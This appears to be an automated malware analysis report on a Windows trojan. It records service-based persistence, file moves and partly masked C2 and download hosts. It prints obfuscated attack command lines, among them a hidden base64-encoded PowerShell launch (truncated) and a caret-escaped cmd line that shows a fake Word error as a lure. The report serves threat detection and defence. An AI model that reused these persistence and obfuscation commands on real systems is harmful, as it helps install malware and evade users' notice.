Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\jqthjj.cba] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\jqthjj.cba] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Giucjzk\jqthjj.cba",Control_RunDLL'
Creates the following services
- 'jqthjj.cba' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Giucjzk\jqthjj.cba",Control_RunDLL
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IAAkAEoAMQB3ACAAPQBbAFQAeQBwAGUAXQAoACIAewA2AH0AewAzAH0AewAwAH0AewA1AH0AewA0AH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAHQAJwAsACcAYwBUAE8AcgB5ACcALAAnAFIARQAnACwAJwB5AFMA...
Modifies file system
Creates the following files
- %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll
Deletes the following files
- %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll
Moves the following files
- from %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll to %WINDIR%\syswow64\giucjzk\jqthjj.cba
Substitutes the following files
- %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll
Network activity
Connects to
- '74.##.215.226':80
- '24.##4.79.147':8080
TCP
HTTP GET requests
- http://www.sh##tnr.xyz/wp-content/zBgK/
- http://www.ta####dbackups.com/wp-includes/Dfp/
HTTP POST requests
- http://24.###.79.147:8080/bdhdgka3fr4z5ofa7/hsmr2zxsf/ via 24.##4.79.147
UDP
- DNS ASK th###nhmy.com
- DNS ASK ni####ogroms.com
- DNS ASK sh##tnr.xyz
- DNS ASK va#####ancountry.com
- DNS ASK ta####dbackups.com
- DNS ASK ad###ght.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAkAEoAMQB3ACAAPQBbAFQAeQBwAGUAXQAoACIAewA2AH0AewAzAH0Ae...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\D73hpgv\Mogjtd6\K52M.dll Control_RunDLL
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Giucjzk\jqthjj.cba",Control_RunDLL